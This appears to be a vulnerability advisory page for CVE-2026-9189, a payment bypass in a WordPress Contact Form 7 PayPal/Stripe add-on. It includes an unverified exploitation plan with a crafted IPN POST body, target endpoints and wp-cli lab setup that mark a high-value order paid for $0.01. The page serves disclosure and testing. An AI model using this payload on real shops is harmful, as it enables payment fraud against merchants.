CVE-2026-9189

Contact Form 7 – PayPal & Stripe Add-on <= 2.4.9 - Unauthenticated Payment Bypass via Insufficient Verification of Data Authenticity via PayPal IPN Handler ('invoice'/'mc_gross' Verification)

mediumInsufficient Verification of Data Authenticity
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.4.10
Patched in
1d
Time to patch

Description

The Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although `cf7pp_paypal_ipn_handler()` correctly validates IPN authenticity by posting back to PayPal with `cmd=_notify-validate`, it fails to compare the IPN payload's `mc_gross` (payment amount), `mc_currency`, or `receiver_email` fields against the corresponding stored order values before passing the attacker-controlled `invoice` field directly to `cf7pp_complete_payment()`, which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose `invoice` parameter references the targeted order, effectively completing purchases without tendering the required payment amount.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.4.9
PublishedMay 28, 2026
Last updatedMay 29, 2026

What Changed in the Fix

Changes introduced in v2.4.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-9189 ## 1. Vulnerability Summary The **Contact Form 7 – PayPal & Stripe Add-on** plugin (up to version 2.4.9) contains a payment bypass vulnerability in its PayPal IPN (Instant Payment Notification) handling logic. While the plugin correctly validates that an…

Show full research plan

Exploitation Research Plan - CVE-2026-9189

1. Vulnerability Summary

The Contact Form 7 – PayPal & Stripe Add-on plugin (up to version 2.4.9) contains a payment bypass vulnerability in its PayPal IPN (Instant Payment Notification) handling logic. While the plugin correctly validates that an IPN message originated from PayPal by performing a post-back to _notify-validate, it fails to verify that the payment details (specifically the amount mc_gross and currency mc_currency) match the expected values for the order identified by the invoice parameter.

The vulnerability exists because cf7pp_paypal_ipn_handler() in includes/payments/paypal_handler.php extracts the invoice field from the IPN payload and passes it directly to cf7pp_complete_payment() without validating that the paid amount matches the order's stored amount. An attacker can make a minimal payment (e.g., $0.01) and, by providing the ID of a high-value pending order in the invoice field, mark that order as fully paid.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API route for PayPal IPN.
    • Sandbox: /wp-json/paypalipn/v1/cf7pp_sandbox
    • Production: /wp-json/paypalipn/v1/cf7pp_production
  • Method: POST
  • Authentication: Unauthenticated (Permission callback cf7pp_paypal_ipn_auth returns true).
  • Payload Parameters:
    • payment_status: Must be Completed (case-insensitive).
    • invoice: The integer ID of the cf7pp_payments post to be marked as completed.
    • mc_gross: Any amount (the vulnerability is that this is not verified).
    • txn_id: A transaction ID (will be stored in metadata).
    • receiver_email: Must match the configured PayPal email in settings (if set).

3. Code Flow

  1. Entry Point: cf7pp_paypal_ipn_listener() registers the REST route pointing to cf7pp_paypal_ipn_handler().
  2. Payload Parsing: cf7pp_paypal_ipn_handler() reads the raw POST body and parses it into the $data array.
  3. Status Check: It verifies strtolower($data['payment_status']) == 'completed'.
  4. Verification: It performs a wp_remote_post to PayPal's _notify-validate endpoint.
  5. Missing Check: CRITICAL SINK. The code proceeds to call cf7pp_complete_payment($data['invoice'], $status, $data['txn_id']). It never retrieves the stored amount meta from the invoice post ID to compare it with $data['mc_gross'].
  6. Execution: cf7pp_complete_payment() (in includes/payments/functions.php) casts $payment_id to an integer, verifies the post type is cf7pp_payments and status is cf7pp-pending, then updates the status to cf7pp-completed.

4. Nonce Acquisition Strategy

No WordPress nonce is required for this attack.
The IPN listener is designed to be called by PayPal's servers and uses a custom authentication callback:

function cf7pp_paypal_ipn_auth() {
	return true; // security done in the handler
}

The "security done in the handler" refers to the PayPal post-back verification, which can be bypassed in a test environment by mocking the HTTP response.

5. Exploitation Strategy

Pre-requisite: Mocking PayPal Verification

Since the test environment is isolated, the wp_remote_post call to PayPal will fail or cannot be verified. To test the logic, we must force the plugin to believe the IPN is "VERIFIED".

  1. Use wp eval to add a filter to the target WordPress instance that mocks the response for any request to paypal.com.

Step-by-Step Exploit

  1. Create a Target Order: Create a pending payment for a high amount (e.g., $1000).
  2. Send Malicious IPN: Send a POST request to the IPN handler with a low mc_gross ($0.01) but the invoice set to the high-value Order ID.
  3. Verify Bypass: Check if the high-value order status changed to cf7pp-completed.

HTTP Request (using http_request tool)

  • URL: http://localhost:8080/wp-json/paypalipn/v1/cf7pp_production (assuming default mode)
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: payment_status=Completed&invoice=[TARGET_ID]&mc_gross=0.01&txn_id=ATTACK-TXN-123&mc_currency=USD

6. Test Data Setup

  1. Configure Plugin: Ensure the plugin is active and "Production" mode is selected (default).
    wp option update cf7pp_options '{"mode":"2"}' --format=json
    
  2. Create Target Payment: Create a pending payment manually to simulate a user submission.
    wp eval 'include_once "wp-content/plugins/contact-form-7-paypal-add-on/includes/payments/functions.php"; echo cf7pp_insert_payment("paypal", "live", "1000.00", 1);'
    
    Note the returned ID.
  3. Setup Verification Mock:
    wp eval 'add_filter("pre_http_request", function($pre, $args, $url) { if (strpos($url, "paypal.com") !== false) return ["body" => "VERIFIED", "response" => ["code" => 200]]; return $pre; }, 10, 3);'
    

7. Expected Results

  • The IPN handler should return a 200 OK response.
  • The cf7pp_payments post with the target ID should have its post_status updated from cf7pp-pending to cf7pp-completed.
  • Metadata transaction_id for that post should be set to ATTACK-TXN-123.
  • The payment record is now considered "Paid" despite only $0.01 being "sent" in the IPN.

8. Verification Steps

  1. Check Post Status:
    wp post get [TARGET_ID] --field=post_status
    
    Expected: cf7pp-completed
  2. Check Transaction ID:
    wp post meta get [TARGET_ID] transaction_id
    
    Expected: ATTACK-TXN-123
  3. Check Amount (Verify it remains unchanged/mismatched):
    wp post meta get [TARGET_ID] amount
    
    Expected: 1000.00 (proving the completion happened without verifying the $0.01 in the IPN).

9. Alternative Approaches

If "Production" mode fails, attempt "Sandbox" mode:

  1. Change mode: wp option update cf7pp_options '{"mode":"1"}' --format=json
  2. Update URL to: /wp-json/paypalipn/v1/cf7pp_sandbox
  3. Ensure the IPN body includes receiver_email if a sandboxaccount is defined in cf7pp_options. If sandboxaccount is empty, the check is skipped.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.